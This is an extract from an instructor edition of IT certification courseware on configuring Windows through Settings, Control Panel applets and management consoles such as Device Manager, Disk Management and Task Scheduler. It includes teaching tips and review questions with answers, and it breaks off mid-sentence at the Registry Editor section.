General and view configuration settings in the File Explorer Options dialog.
(Screenshot courtesy of Microsoft.)

On the View tab, among many other options, you can configure the following
settings:
• Hide extensions for known file types—Windows files are identified by a three-
or four-character extension following the final period in the file name. The
file extension can be used to associate a file type with a software application.
Overtyping the file extension (when renaming a file) can make it difficult to open,
so extensions are normally hidden from view.

• Hidden files and folders—A file or folder can be marked as “Hidden” through
its file attributes. Files marked as hidden are not shown by default but can be
revealed by setting the “Show hidden files, folders, and drives” option.

• Hide protected operating system files—This configures files marked with the
System attribute as hidden. It is worth noting that in Windows, File/Resource
Protection prevents users (even administrative users) from deleting these files
anyway.

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Indexing Options
You can configure file search behavior on the Search tab of the File Explorer
Options dialog. Search is also governed by settings configured in the Indexing
Options applet. This allows you to define indexed locations and rebuild the index.
Indexed locations can include both folders and email data stores. A corrupted index
is a common cause of search problems.

Indexing Options dialogs. (Screenshot courtesy Microsoft.)

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Review Activity:
Windows User Settings
3

Answer the following questions: Show

Slide(s)
Review
1. You are assisting a home user who wants her spouse to be able to sign in
to a new Windows laptop using a Microsoft account. Is this possible, and Teaching
if so, which management interface is used? Tip
Take some time at
Yes, this can be done via the Accounts settings app. The legacy User Accounts the end of each topic
applet in Control Panel can no longer be used to add accounts. to answer questions.
You can use the
2. True or false? Under default settings, the user account added during review questions
setup is not affected by User Account Control. for discussion in
class or set them for
False. User Account Control (UAC) is designed to prevent misuse of accounts with students to complete
individually during or
administrative privileges. Use of such privileges requires the user to approve a
after class.
consent dialog or to enter the credentials of an administrator account. This system
can be disabled via UAC settings, but it is enabled by default.

3. A user calls to say that he clicked Yes to a prompt to allow the browser to
access the computer’s location service while using a particular site and
is now worried about personal information being tracked by other sites.
How can the user adjust the app permission in Windows?

Via the App permissions section under Privacy settings. You might also note that
most browser software can be configured to only allow location information on a
per-site basis.

4. You need to assist a user in changing the extension of a file. Assuming

default Explorer view settings, what steps must the user take?

The user must first show file extensions, using the View tab in the File Explorer
Options applet (you might also note that this can be done via a check box on the
View menu ribbon of File Explorer).

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Topic 10B
Show
Slide(s)
Configure Windows System Settings
Configure Windows
5

System Settings
CORE 2 EXAM OBJECTIVES COVERED
Teaching 1.4 Given a scenario, use the appropriate Microsoft Windows 10 Control Panel utility.
Tip 1.5 Given a scenario, use the appropriate Windows settings.
This topic collects the
remaining content In this topic, you will use the Settings and Control Panel interfaces to configure
examples from
system, app, network, and device settings in Windows 10 and Windows 11.
objectives 1.4 and 1.5.
These settings are
focused on system/
device configuration
System Settings
rather than per-user The System Settings page in the Settings app presents options for configuring input
options.
and output devices, power, remote desktop, notifications, and clipboard (data copying).
Show There is also an About page listing key hardware and OS version information.
Slide(s)
System Settings

Teaching
Tip
There’s obviously a lot
of detail here that you
could go into, but bear
in mind the objectives
document just lists
“System” with no
further expansion. You
might want to revisit
some of the options if
you have time later in
the course.
You might want to
note that the “classic”
System applet is still
present despite the
best efforts of the
latest feature updates
(shell:::
{bb06c0e4-
d293-4f75-
8a90-cb05b64
77eee}).
About settings page in Windows 10. (Screenshot courtesy of Microsoft.)
The quick route to
advanced system
properties is The bottom of this page contains links to related settings. These shortcuts access
control configuration pages for the BitLocker disk encryption product, system protection,
sysdm.cpl
and advanced system settings. Advanced settings allow configuration of:
• Performance options to configure desktop visual effects for best appearance or
best performance, manually configure virtual memory (paging), and operation
mode. The computer can be set to favor performance of either foreground
or background processes. A desktop PC should always be left optimized for
foreground processes.

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• Startup and recovery options, environment variables, and user profiles.

Environment variables set various useful file paths. For example, the
%SYSTEMROOT% variable expands to the location of the Windows folder
(C:\Windows, by default).

In earlier versions of Windows, these options could also be managed via a System
applet in Control Panel, but use of this applet is now deprecated.

Update and Security Settings

The Update & Security settings provide a single interface to manage a secure and Show
reliable computing environment: Slide(s)

• Patch management is an important maintenance task to ensure that PCs operate Update and
Security Settings
reliably and securely. A patch or update is a file containing replacement system
or application code. The replacement file fixes some sort of coding problem Teaching
in the original file. The fix could be made to improve reliability, security, or Tip
performance.
Explain the
• Security apps detect and block threats to the computer system and data, such as importance of
checking that updates
viruses and other malware in files and unauthorized network traffic. are being applied.
Anti-malware and
Windows Update firewall will be covered
in more detail later,
Windows Update hosts critical updates and security patches plus optional software so do not spend too
and hardware device driver updates. much time here.

Windows Update. (Screenshot courtesy of Microsoft.)

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Update detection and scheduling can be configured via Settings > Update &
Security. Note that, in the basic interface, Windows Update can only be paused
temporarily and cannot be completely disabled. You can use the page to check for
updates manually and choose which optional updates to apply.
As well as patches, Windows Update can be used to select a Feature Update. This
type of update is released periodically and introduces changes to OS features and
tools. You can also perform an in-place upgrade from Windows 10 to Windows 11 if
the hardware platform is compatible.

The WindowsUpdate.txt log (stored in the %SystemRoot% folder) records update activity.
If an update fails to install, you should check the log to find the cause; the update will fail
with an error code that you can look up on the Microsoft Knowledge Base.

Windows Security
The Windows Security page contains shortcuts to the management pages for the
built-in Windows Defender virus/threat protection and firewall product.

Workstation security and the functions of antivirus software and firewalls are covered in
detail later in the course.

In Windows 11, Privacy & security settings are collected under the same heading and
Windows Update is a separate heading.

Activation
Microsoft Product Activation is an antipiracy technology that verifies that
software products are legitimately purchased. You must activate Windows within a
given number of days after installation. After the grace period, certain features will
be disabled until the system is activated over the Internet using a valid product key
or digital license.
The Activation page shows current status. You can input a different product key
here too.

Device Settings
Show Most Windows-compatible hardware devices use Plug and Play. This means that
Slide(s) Windows automatically detects when a new device is connected, locates drivers
Device Settings for it, and installs and configures it with minimal user input. In some cases, you
may need to install the hardware vendor’s driver before connecting the device. The
Teaching vendor usually provides a setup program to accomplish this. More typically, device
Tip drivers are supplied via Windows Update.
Device options are
scattered between When using a 64-bit edition of Windows, you must obtain 64-bit device drivers. 32-bit
several management drivers will not work.
tools and pages,
so help students
understand how to
navigate them. Several interfaces are used to perform hardware device configuration and
management:
• The System settings pages contain options for configuring Display and Sound
devices.

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• The Devices settings pages contain options for input devices (mice, keyboards,
and touch), print/scan devices, and adding and managing other peripherals
attached over Bluetooth or USB.

Devices settings in Windows 10. (Screenshot courtesy of Microsoft.)

• Phone settings allow a smartphone to be linked to the computer.

• The Devices and Printers applet in Control Panel provides an interface for
adding devices manually and shortcuts to the configuration pages for connected
devices.

Devices and Printers applet in Control Panel. (Screenshot courtesy of Microsoft.)

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• Device Manager provides an advanced management console interface for

managing both system and peripheral devices.

Display and Sound Settings

Show The principal Display configuration settings are:
Slide(s)
• Scale—A large high-resolution screen can use quite small font sizes for the user
Display and Sound interface. Scaling makes the system use proportionally larger fonts.
Settings
• Color—When the computer is used for graphics design, the monitor must be
Teaching calibrated to ensure that colors match what the designer intends.
Tip
Display settings aren’t
• Multiple displays—If the desktop is extended over multiple screens, the relative
a content example but positions should be set correctly so that the cursor moves between them in a
are probably worth predictable pattern.
covering.
• Resolution and refresh rate—Most computers are now used with TFT or OLED
If you can,
demonstrate display screens. These screens are really designed to be used only at their native
configuration of resolution and refresh rate. Windows should detect this and configure itself
audio devices and appropriately, but they can be manually adjusted if necessary.
multiple displays that
will be useful for the Use the Sound applet in Settings or in Control Panel to choose input (microphone)
students. and output (headphones/speakers) devices and to set and test audio levels.

Settings for output and input audio devices. (Screenshot courtesy of Microsoft.)

You can also use the icon in the Notification Area to control the volume.

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Power Options
Power management allows Windows to selectively reduce or turn off the power Show
supplied to hardware components. The computer can be configured to enter a Slide(s)
power-saving mode automatically; for example, if there is no use of an input device Power Options
for a set period. This is important to avoid wasting energy when the computer is on
but not being used and to maximize run-time when on battery power. The user can Teaching
also put the computer into a power-saving state rather than shutting down. Tip
The Advanced Configuration and Power Interface (ACPI) specification is designed Explain the different
to ensure software and hardware compatibility for different power-saving modes. power-saving
states, noting the
There are several levels of ACPI power mode, starting with S0 (powered on) and difference between
ending with S5 (soft power off) and G3 (mechanically powered off). In between full hibernation and
these are different kinds of power-saving modes: hybrid sleep plus
Modern Standby.
• Standby/Suspend to RAM—Cuts power to most devices (for example, the CPU,
monitor, disk drives, and peripherals) but maintains power to the memory. This
is also referred to as ACPI modes S1–S3.

• Hibernate/Suspend to Disk—Saves any open but unsaved file data in memory

to disk (as hiberfil.sys in the root of the boot volume) and then turns the
computer off. This is also referred to as ACPI mode S4.

In Windows, these ACPI modes are implemented as the sleep, hybrid sleep, and
modern standby modes:
• A laptop goes into the standby state as normal; if running on battery power, it
will switch from standby to hibernate before the battery runs down.

• A desktop creates a hibernation file and then goes into the standby state. This is
referred to as hybrid sleep mode. It can also be configured to switch to the full
hibernation state after a defined period.

• Modern Standby utilizes a device’s ability to function in an S0 low-power idle

mode to maintain network connectivity without consuming too much energy.

You can also set sleep timers for an individual component, such as the display or
hard drive, so that it enters a power-saving state if it goes unused for a defined
period.
The Power & sleep settings provide an interface for configuring timers for turning
off the screen and putting the computer to sleep when no user activity is detected.
The Control Panel Power Options applet exposes additional configuration options.
One such option is defining what pressing the power button and/or closing the lid
of a laptop should perform (shut down, sleep, or hibernate, for instance).

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Configuring power settings via the Power Options applet in Control Panel.
(Screenshot courtesy of Microsoft.)

You can also use the Power Options applet to enable or disable fast startup. This
uses the hibernation file to instantly restore the previous system RAM contents and
make the computer ready for input more quickly than with the traditional hibernate
option.
If necessary, a more detailed power plan can be configured via Power Options.
A power plan enables the user to switch between different sets of preconfigured
options easily. Advanced power plan settings allow you to configure a very wide
range of options, including CPU states, search and indexing behavior, display
brightness, and so on. You can also enable Universal Serial Bus (USB) selective
suspend to turn off power to peripheral devices.

Apps, Programs, and Features

Show Windows supports several types of installable software:
Slide(s) • Windows Features are components of the operating system that can be enabled
Apps, Programs, or disabled. For example, the Hyper-V virtualization platform can be installed as
and Features an optional feature in supported Windows editions.

Teaching • Store apps are installed via the Microsoft Store. Store apps can be transferred
Tip between any Windows device where the user signs in with that Microsoft
Explain the differences account. Unlike desktop applications, store apps run in a restrictive sandbox.
between types of This sandbox is designed to prevent a store app from making system-wide
installable software, changes and prevent a faulty store app from “crashing” the whole OS or
and note the two interfering with other apps and applications. This extra level of protection
interfaces for
means that users with only standard permissions are allowed to install store
managing apps.
apps. Installing a store app does not require confirmation with UAC or computer
administrator-level privileges.

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Windows 11 is adding support for Android app stores as well.

• Desktop apps are installed by running a setup program or MSI installer. These
apps require administrator privileges to install.

• Windows Subsystem for Linux (WSL) allows the installation of a Linux distribution
and the use of Linux applications.

Apps Settings
In the Settings app, the Apps group is used to view and remove installed apps and Show
Windows Features. You can also configure which app should act as the default for Slide(s)
opening, editing, and printing particular file types and manage which apps run Apps Settings
at startup.
Teaching
Tip
Note that the Mail
applet is only present
if the Microsoft
Outlook mail client
is installed. User
accounts can be linked
to email profiles for
other apps using the
Accounts settings app.

Apps & features settings can be used to uninstall software apps, add/remove Windows features,
and set default apps. (Screenshot courtesy of Microsoft.)

To uninstall a program successfully, you should exit any applications or files that might
lock files installed by the application, or the PC will need to be restarted. You may also
need to disable antivirus software. If the uninstall program cannot remove locked files,
it will normally prompt you to check its log file for details (the files and directories can
then be deleted manually).

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Programs and Features

The Programs and Features Control Panel applet is the legacy software
management interface. You can use it to install and modify desktop applications
and Windows Features.

Mail
The Mail applet in Control Panel is added if the Microsoft Outlook client
email application is installed to the computer. It can be used to add email
accounts/profiles and manage the .OST and .PST data files used to cache and
archive messages.

Mail applet configuration options for accounts and data files in the Microsoft Outlook email,
contact, and calendar client app. (Screenshot courtesy of Microsoft.)

Gaming
The Gaming settings page is used to toggle game mode on and off. Game
mode suspends Windows Update and dedicates resources to supporting the 3-D
performance and frame rate of the active game app rather than other software or
background services.
There are also options for managing captures, in-game chat/broadcast features,
and networking with an Xbox games console.

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Network Settings
A Windows host can be configured with one or more types of network adapter. Show
Adapter types include Ethernet, Wi-Fi, cellular radio, and virtual private network Slide(s)
(VPN). Each adapter must be configured with Internet Protocol (IP) address Network Settings
information. Each network that an adapter is used to connect to must be assigned
a trust profile, such as public, private, or domain. The network profile type Teaching
determines firewall settings. A public network is configured with more restrictive Tip
firewall policies than a public or domain network. Network adapter
configuration and
This network status and adapter information is managed via various configuration
sharing are covered
utilities: in detail elsewhere in
• Network & Internet is the modern settings app used to view network status, the course, so do not
spend too long here.
change the IP address properties of each adapter, and access other tools.
The Internet Options
• Network Connections (ncpa.cpl) is a Control Panel applet for managing dialog contains
adapter devices, including IP address information. a huge amount
of configuration
• Network and Sharing Center is a Control Panel applet that shows status complexity in terms
information. of zones and security
levels, but as IE is
• Advanced sharing settings is a Control Panel applet that configures network obsolete, it hardly
seems worth spending
discovery (allows detection of other hosts on the network) and enables or time on it. If students
disables file and printer sharing. are worried, possibly
revisit it when
Windows Defender Firewall discussing browser
security later in the
Windows Defender Firewall determines which processes, protocols, and hosts course.
are allowed to communicate with the local computer over the network. The
Windows Security settings app and the applet in Control Panel allow the firewall
to be enabled or disabled. Complex firewall rules can be applied via the Windows
Defender with Advanced Security management console.

Internet Options
The Internet Options Control Panel applet exposes the configuration settings for
Microsoft’s Internet Explorer (IE) browser. The Security tab is used to restrict what
types of potentially risky active content are allowed to run. However, IE is end of life.
You are only likely to have to use Internet Options and IE where there is an internal
website that has not been upgraded to work with a modern browser.

Windows network, firewall, and configuration of modern browsers, such as Microsoft

Edge, Google Chrome, Apple Safari, and Mozilla Firefox, are covered in more detail later
in the course.

Show
Administrative Tools Slide(s)
Settings and most Control Panel applets provide interfaces for managing basic Administrative Tools
desktop, device, and app configuration parameters. One of the options in Control
Panel is the Administrative Tools shortcut. This links to a folder of shortcuts to Teaching
several advanced configuration consoles. Tip
This page previews the
tools we’ll be covering
in the next lesson, so
you don’t need to go
into the detail of each
utility. Just contrast the
use of management
consoles with the
simpler Settings app.

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Administrative Tools folder. (Screenshot courtesy of Microsoft.)

A Microsoft Management Console (MMC) contains one or more snap-ins that are
used to modify advanced settings for a subsystem, such as disks or users. The
principal consoles available via Administrative Tools are:
• Computer Management (compmgmt.msc)—The default management console
with multiple snap-ins to schedule tasks and configure local users and groups,
disks, services, devices, and so on.

The default Computer Management console in Windows 10 with the configuration

snap-ins shown on the left. (Screenshot courtesy of Microsoft.)

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• Defragment and Optimize Drives (dfrgui.exe)—Maintain disk performance by

optimizing file storage patterns.

• Disk Cleanup (cleanmgr.exe)—Regain disk capacity by deleting unwanted files.

• Event Viewer (eventvwr.msc)—Review system, security, and application logs.

• Local Security Policy (secpol.msc)—View and edit the security settings.

• Resource Monitor (resmon.exe) and Performance Monitoring (perfmon.

msc)—View and log performance statistics.

• Registry Editor (regedit.exe)—Make manual edits to the database of Windows

configuration settings.

• Services console (services.msc)—Start, stop, and pause processes running in

the background.

• Task Scheduler (taskschd.msc)—Run software and scripts according to

calendar or event triggers.

More detail on each of these tools will be provided in the next lesson.

Management Shortcuts
To access the various administrative interfaces and management consoles quickly, Show
it is worth learning shortcut methods for opening them. Slide(s)

• Pressing START+X or right-clicking the Start button shows a shortcut menu Management
Shortcuts
with links to the main management utilities, such as Device Manager, Computer
Management, Command Prompt, and Windows PowerShell.
Teaching
Tip
This isn’t related to
a specific content
example (though
students do need
to know the .msc
file names for given
utilities), but make
students aware of
options and shortcuts
that can help them
to work more
productively.

Windows 10 WinX menu (right-click the Start button). (Screenshot courtesy of Microsoft.)

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Contents of the WinX menu do change periodically. For example, early feature
updates of Windows 10 have links to Control Panel and the legacy command prompt.
In Windows 11, links to Windows Terminal replace the PowerShell shortcuts.

• The Instant Search box on the Start menu will execute programs and
configuration options using simple names. Press the START key, and then
simply type the program file name or utility name. You can also open files or
unregistered programs by typing the path to the file.

• The Run dialog (START+R) can be used to execute a program with switches that
modify the operation of the software.

The Run dialog allows you to execute a command with switches. (Screenshot courtesy of Microsoft.)

• The shortcut menus for system objects and notification area icons contain links
to configuration tools. For example, the Properties item for This PC opens the
System settings app, while Manage opens the Computer Management console.

Individual Settings app pages can be accessed from the Run dialog using uniform
resource indicators such as ms-settings:system. Control Panel applets can
be opened using commands in the form control ncpa.cpl.

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Review Activity:
Windows System Settings
6

Answer the following questions: Show

Slide(s)
Review

1. You are assisting a user over the phone and need to identify the edition Teaching
of Windows that is installed. What step instructions must you give for Tip
the user to report this information to you?
Take some time at
the end of each topic
Open the Settings app, and then select System. Select the About section, and read
to answer questions.
the text next to Edition under the Windows specifications heading. You can use the
review questions
2. While troubleshooting an issue with a graphics card in Windows 10, you for discussion in
discover that the driver version is not up to date. What first step could class or set them for
you perform to install the latest driver? students to complete
individually during or
In the Settings app, select Update & Security. Under Windows Update, select “View after class.
optional updates.” If a graphics driver update is not listed here, check the vendor’s
site for driver installation software.

3. A Windows user is trying to join a video conference and cannot hear

any sound from her headset. Which tool can you suggest using to try to
remedy the fault?

Use the Sound settings app or Control Panel applet to check the volume setting and
that the headset is configured as the input and output device. If the headset is not
listed, check the USB or Bluetooth connection.

4. You are assisting a laptop user. While the user was away from their desk,
the laptop powered off. The user was in the middle of working on a file
and forgot to save changes. Can you reassure the user and advise on the
best course of action?

When a computer goes into a power-saving mode, it will either maintain a small
amount of power to the memory modules or write the contents of memory to a
hibernation file on disk. Consequently, the user should be able to start the laptop
again, and the desktop will resume with the open file still there. You should advise
the customer to save changes to files regularly, however.

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Lesson 10
Summary
5

Show You should be able to use the Settings and Control Panel interfaces to configure
Slide(s) Windows for different business-, home-, and user-requirements scenarios.
Summary
Guidelines for Configuring Windows
Teaching
Document standard procedures and work instructions to make best use of
Tip
Windows Settings and Control Panel for different tasks:
Try to include some
time at the end • Verify OS configuration options, version information, and security via System and
of each lesson to Update & Security settings.
check students'
understanding and • Configure sign-in and desktop options via Accounts/User Accounts, Ease of
answer questions. Access, Time and Language, Personalization, and Privacy.

• Set up hardware via System, Devices, Sound, Devices and Printers, Device
Manager, and Power Options.

• Configure file browsing and search via File Explorer Options and Indexing
Options.

• Set up apps and Windows features via Apps, Mail, Gaming, and Programs and
Features.

• Configure networking via Network and Internet, Network and Sharing Center,
Windows Defender Firewall, and Internet Options.

• Use Administrative Tools to access advanced configuration consoles.

Additional practice questions for the topics covered in this lesson are available on the
CompTIA Learning Center.

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 Lesson 11
Managing Windows
1

LESSON INTRODUCTION
Settings and Control Panel are focused on managing configuration settings for a Show
single computer. In an enterprise environment, configuration and monitoring of Slide(s)
hundreds or thousands of desktops require more advanced tools. For example, Objectives
very commonly, configuration can be achieved more quickly and reliably using
command-line tools. In this lesson, you will learn about the appropriate use of Teaching
advanced interfaces and tools to manage Windows 10 and Windows 11 systems. Tip
This lesson covers
the more advanced
Lesson Objectives system administration
consoles and tools
In this lesson, you will: plus use of the
command shell.
• Use management consoles.

• Use performance and troubleshooting tools.

• Use command-line tools.

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Topic 11A
Use Management Consoles
2

Show CORE 2 EXAM OBJECTIVES COVERED

Slide(s) 1.3 Given a scenario, use features and tools of the Microsoft Windows 10 operating
system (OS).
Use Management
Consoles
Microsoft Management Consoles (MMCs) provide a standard interface for advanced
Teaching
configuration and management of Windows desktops and servers. You can use
Tip
these consoles to manage security settings, set up scheduled tasks, and manage
This topic covers the the disk subsystem. Additionally, when a configuration setting is not exposed in any
use of MMCs and
some of the default
of the normal GUI tools, you will need to use the Registry Editor to solve some types
consoles plus use of of ssues.
the Registry Editor.
Device Manager
Show Device Manager (devmgmt.msc) allows you to view and edit the properties
Slide(s) of installed hardware. You can change hardware configuration settings, update
Device Manager drivers, or remove/disable devices.

Teaching Updating and Troubleshooting Devices

Tip
Sometimes Windows can determine a device’s type and function but cannot locate
Explain that Device a driver for the device (perhaps there is no driver included on the Windows setup
Manager is the tool
for investigating and
media or in Windows Update). In this case, you may find an “Unknown Device,” or
troubleshooting all device of a “generic” type listed in the Device Manager with a yellow exclamation
system hardware mark indicating a problem.
components and
peripherals. If the device has never worked, check that it (or the driver installed) is compatible
with the OS. Manufacturers often release updated drivers to fix known problems.
The update can normally be obtained as a download from the support area of
the manufacturer’s website. Once downloaded, the driver may come with a setup
program to install it or may need to be installed manually.

Alternatively, driver updates might be supplied via Windows Update. They are typically
listed as optional updates.

To update or troubleshoot a device manually, in the Device Manager hardware tree,

locate the device, right-click it, and select Properties to display the device settings.
The General tab displays status information for the device. Use the Update Driver
button on the Drivers tab to install a new driver.

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Using device properties to investigate driver and roll back to a previous version.
(Screenshot courtesy of Microsoft.)

Removing, Uninstalling, and Disabling Devices

If a device supports Plug and Play and is hot swappable, you can remove it from the
computer without having to uninstall it. Before removing a storage device, close any
applications that might be using it, then select the Safely Remove Hardware icon in
the notification area on the taskbar, and choose the option to stop or eject the device.
Physically removing a device leaves the driver installed so that it will be detected if
the device is reconnected. To remove the driver, before physically unplugging the
device, right-click it and select Uninstall device.

Safely Remove Hardware icon. (Screenshot courtesy of Microsoft.)

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Using Device Manager to uninstall a device. (Screenshot courtesy of Microsoft.)

There is also an option in Device Manager to Disable a device, which you might use
if it is not working with the current driver and you want to make it inaccessible to
users while you find a replacement. Devices that cannot be physically uninstalled
easily may also be disabled to improve system security. Disabled devices are shown
with a down arrow.

Disk Management Console

Show The disk subsystem stores all the information generated by installing the operating
Slide(s) system and using software applications to create data files. As the primary store of
Disk Management so much data, ensuring the reliability and performance of the disk subsystem is a
Console critical management task.
The Disk Management (diskmgmt.msc) console displays a summary of any
Teaching
fixed and removable disks—hard disk drives (HDDs), solid state drives (SSDs), and
Tip
optical drives—attached to the system. HDDs and SSDs can be divided into logical
Explain the use of partitions. Each partition is represented as a volume in the top pane.
partitions to create
formatted volumes
and the role of each
volume on the boot
disk.

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Disk Management console. (Screenshot courtesy of Microsoft.)

The terminology of drives, volumes, and partitions can be confusing. Partitions are
configured on HDDs and SSDs. A volume is a logical storage unit made available to the
OS. There could be a simple 1:1 mapping between a partition and a volume. However,
a volume can also be created using a redundant drive configuration (RAID) where there
are actually multiple devices and partitions supporting the one volume. In Windows,
“drive” refers to a volume that has been mapped to a letter. However, drive is very
frequently used to mean a hardware storage device too.

One of the disks (typically Disk 0) will be the one holding the operating system. This
disk will have at least three volumes:
• The system volume contains the files used to boot the OS. This typically uses a
boot system called extensible firmware interface (EFI). It is not usually assigned a
drive letter.

• The boot volume contains the operating system files and is usually allocated the
drive letter C:.

• Recovery partitions contain tools to repair a damaged installation and/or return

the computer to its factory state. These can either contain the PC vendor’s tool
or Microsoft’s Windows Recovery Environment (WinRE). They are not usually
assigned drive letters.

The Disk Management console supports the following disk and partitioning tasks:
• Initializing disks—If you add an unformatted HDD, SSD, or thumb drive, you
will be prompted to initialize it. You can choose whether to use the master boot
record (MBR) or Globally Unique ID (GUID) Partition Table (GPT) partition style for
the new disk. MBR and GPT refer to the way the partition information is stored
on the disk.

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• Partitioning—Each disk must be configured with at least one partition. You

can create a new partition by right-clicking on an area of unpartitioned space. A
wizard will prompt you to choose how much of the unallocated space to use and
to select a file system.

• Formatting—A new partition must be written with a file system—typically

NTFS—to allow Windows to write and read files. The simpler FAT32 file system
might be used for small, removable drives. You can also reformat existing
partitions. This will delete all files from the volume. Along with the file system
type, you can choose a volume label and allocation unit size.

The smallest unit of storage on a fixed disk has traditionally been the 512-byte sector. A
file system is not restricted to using a single sector as the basic unit of storage, however.
The file system can group sectors into allocation units/clusters of 2, 4, or 8 sectors.
Smaller clusters make more efficient use of the disk capacity, but using larger clusters
can improve file input/output (I/O) performance, especially when working with large
files. As fixed disk sizes have increased, some disk models now use Advanced Format,
with 4 kilobyte (4K) sector sizes. If supported by the OS and PC firmware, these can
be used in native mode; if not, the drive controller will usually present the disk in 512
emulated (512e) mode.

You cannot format or delete system or boot partitions. During setup, the boot partition
must be formatted as NTFS, and the system partition must be formatted as FAT32.

• Repartitioning—Existing partitions can be expanded if there is unpartitioned

space. Partitions can also be removed or shrunk to make space available.

• Configuring dynamic disks—If there is more than one disk available, a new
dynamic volume can be configured. Dynamic volumes use multiple devices to
implement some type of software RAID redundancy, such as mirroring.

The dynamic disks feature is deprecated. The Storage Spaces feature is now the
preferred method of configuring redundant disk configurations.

Disk Maintenance Tools

Show Of all the computer’s subsystems, disk drives and the file system probably require
Slide(s) the most attention to keep in optimum working order. File storage is subject to
Disk Maintenance three main problems:
Tools
• Fragmentation—On a hard disk, ideally each file would be saved in contiguous
clusters on the disk. In practice, over time as files grow, they become fragmented
across non-contiguous clusters, reducing read performance.

• Capacity—Typically, much more file creation occurs on a computer than file

deletion. This means that capacity can reduce over time. If the boot volume
has less than 20% free space, performance can be impaired. When space drops
below 200 MB, a Low Disk Space warning is generated.

• Damage—Hard disk operations are physically intensive, and the platters of the
disk are easy to damage, especially if there is a power cut. If the disk does not
recognize that a sector is damaged, files can become corrupted. SSDs can suffer
from degradation of the memory circuitry, resulting in bad blocks, and can be
damaged by impacts, overheating, and electrical issues.

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These problems can be addressed by the systematic use of disk maintenance tools.
These tools should be run regularly—at least every month and before installing
software applications.

Disk Defragmenter
The Defragment and Optimize Drives tool (dfrgui.exe) runs various operations
to speed up the performance of HDDs and SSDs:
• On an HDD, defragmenting rewrites file data so that it occupies contiguous
clusters, reducing the amount of time the controller has to seek over the disk to
read a file.

• On an SSD, data is stored in units called blocks that are not directly managed
by the OS. The drive controller determines how blocks are used according to
wear-leveling routines to minimize degradation of the solid-state cells. The
main purpose of the optimizer tool is to instruct the controller to run a TRIM
operation. Essentially, TRIM is a process by which the controller identifies data
that the OS has marked as deletable and can then tag corresponding blocks as
writable. The optimizer does perform a type of defragmentation operation on an
SSD if it holds the OS and the system protection feature Volume Shadow Copy
service is enabled.

Optimize Drives (Defragmenter) in Windows 10. (Screenshot courtesy of Microsoft.)

Windows automatically schedules the disk optimizer to run using Task Scheduler.
You should check for any issues, such as it not running successfully.

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Disk Clean-up
The Disk Clean-up (cleanmgr.exe) tool tracks files that can be safely erased to
reclaim disk space. These files include ones deleted but still available in the Recycle
Bin and various temporary files and caches. The tool can be run in administrator
mode using the Clean up system files option to reclaim data from caches such as
Windows Update and Defender.

Disk Clean-up utility. (Screenshot courtesy of Microsoft.)

Task Scheduler
Show The Task Scheduler (tasksch.msc) runs commands and scripts automatically.
Slide(s) Many of Windows’s processes come with predefined schedules. Tasks can be run
Task Scheduler once at a future date or time or according to a recurring schedule. A task can be a
simple application process (including switches, if necessary) or a batch file or script.
Teaching Other features include:
Tip • A trigger can be an event rather than a calendar date/time. For example, a task
Note that Windows can be set to run when the user signs in or when the machine wakes from sleep
creates numerous
or hibernation.
tasks by default.
• Each task can include multiple actions.

• All activity is logged so that you can investigate failed tasks.

• Tasks can be organized in folders.

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Task Scheduler showing a Dell Support auto update task configured to run each week.
(Screenshot courtesy of Microsoft.)

Apart from defining the path to the file or script you want to execute and defining
a trigger, you should also enter the credentials that the task will run under—if the
selected user account does not have sufficient permissions, the task will not run.

Local Users and Groups Console

The Local Users and Groups (lusrmgr.msc) console provides an advanced Show
interface for creating, modifying, disabling, and deleting user accounts. You can also Slide(s)
reset the password for an account. Local Users and
Groups Console
Security groups can be used to collect user accounts that need to be allocated
similar permissions, such as the right to edit files in a shared folder. The default
Teaching
groups—such as Administrators, Users, and Guests—implement the account types
Tip
that can be selected via the settings interface.
We will cover accounts
and permissions in
more detail later
in the course, so
just introduce basic
principles here.

Local Users and Groups console showing default security groups. Adding a user account
as a member of the Administrators group gives the account full privileges.
(Screenshot courtesy of Microsoft.)

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Users, groups, and sharing/permissions are covered in more detail later in the course.

Certificate Manager
Show A digital certificate is a means of proving the identity of a subject, such as a user,
Slide(s) computer, or service. The validity of each certificate is guaranteed by the issuing
Certificate Manager certification authority (CA). The Certificate Manager console (certmgr.msc) shows
which certificates have been installed and provides a mechanism for requesting and
Teaching importing new certificates.
Tip The tool displays many subfolders, but the most widely used are:
Just summarize
the function of this • The Personal folder stores the certificates that have been issued to the user
console without trying account. User certificates can be used for tasks such as authenticating to a
to explain encryption/ network access server, encrypting data, and adding a digital signature to a
certificate concepts document or message to prove its authenticity.
too deeply.
• Trusted Root Certification Authorities contains a superset of the certificates of
all issuers that are trusted, including Microsoft’s own CA root, local enterprise
CAs and third-party CAs. Most of these certificates are managed via Windows
Update.

• Third-party Root Certification Authorities contains trusted issuers from providers

other than Microsoft or a local enterprise.

Using Certificate Manager to view certificates for the current user. The trusted root
certificates added here allow the computer to trust any subject certificates issued
by these CAs. Note that as these are root certificates, each is issued to the
organization by itself. (Screenshot courtesy of Microsoft.)

certmgr.msc manages certificates for the current user. There is also a computer
certificate store, which can be managed via certlm.msc.

Trusting an unsafe CA raises critical security vulnerabilities. For example, a rogue

CA certificate might allow a website to masquerade as a legitimate bank or other
service and trick the user into submitting a password because the browser seems
to trust the web server’s certificate. In some cases, you may need to use Certificate
Manager to remove compromised certificates.

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Third-party browser applications usually maintain a separate store of personal

certificates and trusted root CAs.

Group Policy Editor

GUI tools such as Settings and Control Panel make changes to user profiles and Show
the system configuration that are ultimately stored in a database called the Slide(s)
registry. However, the registry also contains thousands of other settings that are Group Policy Editor
not configurable via these tools. The Group Policy Editor (gpedit.msc) provides a
more robust means of configuring many of these Windows settings than editing the Teaching
registry directly. Also, vendors can write administrative templates to make third- Tip
party software configurable via policies. Again, there’s no
chance of covering
this in detail. Help
students understand
that policies configure
almost anything
that can be stored in
the registry. There
are some standard
settings groups;
other settings can
be configured
by installing
administrative
templates, which can
also cover third-party
software.
You might want to
note that group
policy is very rarely
used on standalone
computers. It’s much
more likely to be
applied via a domain.
We will cover domains
later in the course.

Using Group Policy Editor to view the local password policy. This computer does not have a strong
set of policies. (Screenshot courtesy of Microsoft.)

On a network with hundreds or thousands of computers, group policy is a much

more efficient way of imposing policy settings than manually configuring each
machine.
Some policies are configured by inputting a discrete value, but most use an
enabled/disabled/not defined toggle. It is important to read each policy carefully
when choosing whether it should be enabled or disabled and to understand the
default behavior of leaving a setting not defined.

The Local Security Policy editor (secpol.msc) can be used to modify security settings
specifically.

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Registry Editor
Show The Windows registry provides a remotely accessible database for storing operating
Slide(s) system, device, and software application configuration information. You can use the
